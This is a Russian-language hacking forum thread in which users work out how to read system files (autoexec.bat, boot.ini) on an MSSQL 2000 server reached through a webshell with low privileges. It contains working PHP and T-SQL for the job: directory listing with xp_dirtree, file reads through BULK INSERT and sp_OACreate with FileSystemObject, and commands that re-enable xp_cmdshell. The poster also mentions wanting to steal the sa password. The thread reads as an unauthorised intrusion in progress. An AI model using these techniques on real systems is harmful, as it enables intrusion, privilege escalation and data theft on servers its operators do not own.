PDA

Просмотр полной версии : Помогите с MSSQL


FIXERMAN
11.11.2008, 15:57
Привет
Имеется коннект к MSSQL 2000 права юЗверя хранимые процедуры выключены (например xp_cmdshell) но ...
Таким запросом список системные файлов можно посмотреть

$link = mssql_connect("192.168.0.1", "user", "passwords") or die("Could not connect to MsSQL server!");
mssql_select_db("master",$link) or die("Could not select company database!");
$query = "exec xp_dirtree 'c:\',0,1"; так с файлами
\\$query = "exec xp_dirtree 'c:\',1"; так только папки
$result = mssql_query($query,$link);

echo '<table cellpadding="2" cellspacing="1" width="100%">';
echo "<tr><td>DIRECTORY</td></tr>";
while($line=mssql_fetch_assoc($result)){
echo

"<tr><td>$line[subdirectory]</td></tr>";
}
echo "</table>";

print "Total rows selected: ".mssql_num_rows($result);
mssql_close($link);
-------------------------------------------------------------------------
но суть проблемы в том что надо прочитать системные файлы например autoexec.bat (редакт не объязателен можно даже только read only)

ВОПРОС: как можно прочитать файлы если xp_cmdshell выключен или как импортировать в БД бинарный файл ? или как нить можно другими процедурами выполнить такое или создать хранимую процеду ? ...

[Raz0r]
11.11.2008, 19:26
ВОПРОС: как можно прочитать файлы если xp_cmdshell выключен или как импортировать в БД бинарный файл ?
CREATE TABLE file(line varchar(8000),id int identity);
BULK INSERT file FROM "c:/autoexec.bat";
SELECT line FROM file WHERE id=x;

FIXERMAN
11.11.2008, 22:01
Выдает вот такую ошибку ...поменял имя таблицы все ровно
Server: Msg 156, Level 15, State 1, Line 1
Incorrect syntax near the keyword 'file'.
Server: Msg 156, Level 15, State 1, Line 3
Incorrect syntax near the keyword 'file'.

и еще вот такую

Server: Msg 4832, Level 16, State 1, Line 1
Bulk Insert: Unexpected end-of-file (EOF) encountered in data file.
Server: Msg 7399, Level 16, State 1, Line 1
OLE DB provider 'STREAM' reported an error. The provider did not give any information about the error.
The statement has been terminated.

и вот еще
Server: Msg 207, Level 16, State 3, Line 1
Invalid column name 'x'.

короче такие варианты не катит или я что от криво делаю

P.S таблица открывается но пусто ничё туда не импортируется ... (сам файл есть текстовом формате)

[Raz0r]
11.11.2008, 22:20
попробуй тогда так:

CREATE TABLE temp (line varchar(8000));
BULK INSERT temp FROM "c:/autoexec.bat";
SELECT TOP 1 line FROM temp;

Server: Msg 4832, Level 16, State 1, Line 1
Bulk Insert: Unexpected end-of-file (EOF) encountered in data file.
Server: Msg 7399, Level 16, State 1, Line 1
OLE DB provider 'STREAM' reported an error. The provider did not give any information about the error.
The statement has been terminated.
попробуй еще какие-нибудь файлы загрузить в таблицу

FIXERMAN
11.11.2008, 22:30
Спасибо пашет +1

Теперь на php переводит его и с вебшелла попробовать осталось там )

P.S рано порадовался =( права на BCP (bulk copy) нету там с вебшелла млин =( надо придумать еще какойто вариант чтоб прочитать тот файл .... именно через mssql других вариантов нету или есть вариант включить xp_cmdshell ? или угнать пароль от sa может есть варианты другие варианты ?

P.S.s Raz0r откликнись плиз в аське ...

FIXERMAN
12.11.2008, 11:27
Смотрим файл boot.ini

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
-----------------------------
и итак у себя норм показывает но там с вебшелла результаты не могу посмотреть пока

[Raz0r]
12.11.2008, 20:50
или есть вариант включить xp_cmdshell ?
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
или так:
sp_addextendedproc 'xp_cmdshell','xplog70.dll';

FIXERMAN
14.11.2008, 22:07
прав нету master dbo owner ......

щас таблицы ищу где права Grant там и bulk ним его а так уже хз как ...